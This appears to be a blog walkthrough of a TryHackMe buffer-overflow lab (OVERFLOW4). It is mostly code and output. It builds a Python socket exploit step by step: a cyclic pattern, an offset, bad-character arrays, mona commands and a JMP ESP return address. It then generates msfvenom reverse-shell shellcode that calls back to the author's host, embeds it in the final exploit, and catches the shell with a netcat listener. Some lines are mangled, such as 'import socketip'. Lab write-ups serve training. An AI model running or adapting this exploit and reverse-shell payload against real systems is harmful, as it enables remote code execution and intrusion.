BufferOver Flow — TryHackMe

┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
!mona findmsp -distance 2500
Find EIP value, where 2026 is the EIP Value
┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
EIP value is 42424242
┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
!mona bytearray -b “\x00”
ESP 018AFA30
!mona compare -f C:\mona\oscp\bytearray.bin -a 018AFA30
!mona compare -f C:\mona\oscp\bytearray.bin -a 018AFA30
┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xce\xcf\xd0"
"\xd1\xd2\xd3\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
!mona bytearray -b “\x00\xa9\xcd\xd4”
ESP 019AFA30
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30
!mona jmp -r esp -cpb “\x00\xa9\xcd\xd4”
Output of — !mona jmp -r esp -cpb “\x00\xa9\xcd\xd4”
┌──(root💀kali)-[/opt/BOF]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.9.62.7 LPORT=443 -b "\x00\xa9\xcd\xd4" EXITFUNC=thread -f python -v payload

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
payload = b""
payload += b"\xb8\xaf\x45\x71\x70\xd9\xf7\xd9\x74\x24\xf4\x5a"
payload += b"\x31\xc9\xb1\x52\x31\x42\x12\x83\xc2\x04\x03\xed"
payload += b"\x4b\x93\x85\x0d\xbb\xd1\x66\xed\x3c\xb6\xef\x08"
payload += b"\x0d\xf6\x94\x59\x3e\xc6\xdf\x0f\xb3\xad\xb2\xbb"
payload += b"\x40\xc3\x1a\xcc\xe1\x6e\x7d\xe3\xf2\xc3\xbd\x62"
payload += b"\x71\x1e\x92\x44\x48\xd1\xe7\x85\x8d\x0c\x05\xd7"
payload += b"\x46\x5a\xb8\xc7\xe3\x16\x01\x6c\xbf\xb7\x01\x91"
payload += b"\x08\xb9\x20\x04\x02\xe0\xe2\xa7\xc7\x98\xaa\xbf"
payload += b"\x04\xa4\x65\x34\xfe\x52\x74\x9c\xce\x9b\xdb\xe1"
payload += b"\xfe\x69\x25\x26\x38\x92\x50\x5e\x3a\x2f\x63\xa5"
payload += b"\x40\xeb\xe6\x3d\xe2\x78\x50\x99\x12\xac\x07\x6a"
payload += b"\x18\x19\x43\x34\x3d\x9c\x80\x4f\x39\x15\x27\x9f"
payload += b"\xcb\x6d\x0c\x3b\x97\x36\x2d\x1a\x7d\x98\x52\x7c"
payload += b"\xde\x45\xf7\xf7\xf3\x92\x8a\x5a\x9c\x57\xa7\x64"
payload += b"\x5c\xf0\xb0\x17\x6e\x5f\x6b\xbf\xc2\x28\xb5\x38"
payload += b"\x24\x03\x01\xd6\xdb\xac\x72\xff\x1f\xf8\x22\x97"
payload += b"\xb6\x81\xa8\x67\x36\x54\x7e\x37\x98\x07\x3f\xe7"
payload += b"\x58\xf8\xd7\xed\x56\x27\xc7\x0e\xbd\x40\x62\xf5"
payload += b"\x56\x65\x7a\xcb\xa1\x11\x7e\x33\xaf\x5a\xf7\xd5"
payload += b"\xc5\x8c\x5e\x4e\x72\x34\xfb\x04\xe3\xb9\xd1\x61"
payload += b"\x23\x31\xd6\x96\xea\xb2\x93\x84\x9b\x32\xee\xf6"
payload += b"\x0a\x4c\xc4\x9e\xd1\xdf\x83\x5e\x9f\xc3\x1b\x09"
payload += b"\xc8\x32\x52\xdf\xe4\x6d\xcc\xfd\xf4\xe8\x37\x45"
payload += b"\x23\xc9\xb6\x44\xa6\x75\x9d\x56\x7e\x75\x99\x02"
payload += b"\x2e\x20\x77\xfc\x88\x9a\x39\x56\x43\x70\x90\x3e"
payload += b"\x12\xba\x23\x38\x1b\x97\xd5\xa4\xaa\x4e\xa0\xdb"
payload += b"\x03\x07\x24\xa4\x79\xb7\xcb\x7f\x3a\xd7\x29\x55"
payload += b"\x37\x70\xf4\x3c\xfa\x1d\x07\xeb\x39\x18\x84\x19"
payload += b"\xc2\xdf\x94\x68\xc7\xa4\x12\x81\xb5\xb5\xf6\xa5"
payload += b"\x6a\xb5\xd2"
--> LHOST=10.9.62.7 [ My IP ]
--> LPORT=443 [ Listen Port ]
--> -b "\x00\xa9\xcd\xd4" [ Badchars ]
offset = 2026 [ EIP Value]
overflow = "A" * offset
retn="\xaf\x11\x50\x62" -- [JMP ESP Value]
padding = "\x90" * 16 [ Nop Sled ]
payload = shellcode output
┌──(root💀kali)-[/opt/BOF]
└─# cat exploit.py
import socketip = "10.10.232.66"
port = 1337
prefix = "OVERFLOW4 "
offset = 2026
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = b""
payload += b"\xb8\xaf\x45\x71\x70\xd9\xf7\xd9\x74\x24\xf4\x5a"
payload += b"\x31\xc9\xb1\x52\x31\x42\x12\x83\xc2\x04\x03\xed"
payload += b"\x4b\x93\x85\x0d\xbb\xd1\x66\xed\x3c\xb6\xef\x08"
payload += b"\x0d\xf6\x94\x59\x3e\xc6\xdf\x0f\xb3\xad\xb2\xbb"
payload += b"\x40\xc3\x1a\xcc\xe1\x6e\x7d\xe3\xf2\xc3\xbd\x62"
payload += b"\x71\x1e\x92\x44\x48\xd1\xe7\x85\x8d\x0c\x05\xd7"
payload += b"\x46\x5a\xb8\xc7\xe3\x16\x01\x6c\xbf\xb7\x01\x91"
payload += b"\x08\xb9\x20\x04\x02\xe0\xe2\xa7\xc7\x98\xaa\xbf"
payload += b"\x04\xa4\x65\x34\xfe\x52\x74\x9c\xce\x9b\xdb\xe1"
payload += b"\xfe\x69\x25\x26\x38\x92\x50\x5e\x3a\x2f\x63\xa5"
payload += b"\x40\xeb\xe6\x3d\xe2\x78\x50\x99\x12\xac\x07\x6a"
payload += b"\x18\x19\x43\x34\x3d\x9c\x80\x4f\x39\x15\x27\x9f"
payload += b"\xcb\x6d\x0c\x3b\x97\x36\x2d\x1a\x7d\x98\x52\x7c"
payload += b"\xde\x45\xf7\xf7\xf3\x92\x8a\x5a\x9c\x57\xa7\x64"
payload += b"\x5c\xf0\xb0\x17\x6e\x5f\x6b\xbf\xc2\x28\xb5\x38"
payload += b"\x24\x03\x01\xd6\xdb\xac\x72\xff\x1f\xf8\x22\x97"
payload += b"\xb6\x81\xa8\x67\x36\x54\x7e\x37\x98\x07\x3f\xe7"
payload += b"\x58\xf8\xd7\xed\x56\x27\xc7\x0e\xbd\x40\x62\xf5"
payload += b"\x56\x65\x7a\xcb\xa1\x11\x7e\x33\xaf\x5a\xf7\xd5"
payload += b"\xc5\x8c\x5e\x4e\x72\x34\xfb\x04\xe3\xb9\xd1\x61"
payload += b"\x23\x31\xd6\x96\xea\xb2\x93\x84\x9b\x32\xee\xf6"
payload += b"\x0a\x4c\xc4\x9e\xd1\xdf\x83\x5e\x9f\xc3\x1b\x09"
payload += b"\xc8\x32\x52\xdf\xe4\x6d\xcc\xfd\xf4\xe8\x37\x45"
payload += b"\x23\xc9\xb6\x44\xa6\x75\x9d\x56\x7e\x75\x99\x02"
payload += b"\x2e\x20\x77\xfc\x88\x9a\x39\x56\x43\x70\x90\x3e"
payload += b"\x12\xba\x23\x38\x1b\x97\xd5\xa4\xaa\x4e\xa0\xdb"
payload += b"\x03\x07\x24\xa4\x79\xb7\xcb\x7f\x3a\xd7\x29\x55"
payload += b"\x37\x70\xf4\x3c\xfa\x1d\x07\xeb\x39\x18\x84\x19"
payload += b"\xc2\xdf\x94\x68\xc7\xa4\x12\x81\xb5\xb5\xf6\xa5"
payload += b"\x6a\xb5\xd2"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
nc -nvlp 443 
Reverse Shell!

--

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Lazy af :) OSCP — eWPTXv2

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Anon Tuttu Venus

Lazy af :) OSCP — eWPTXv2

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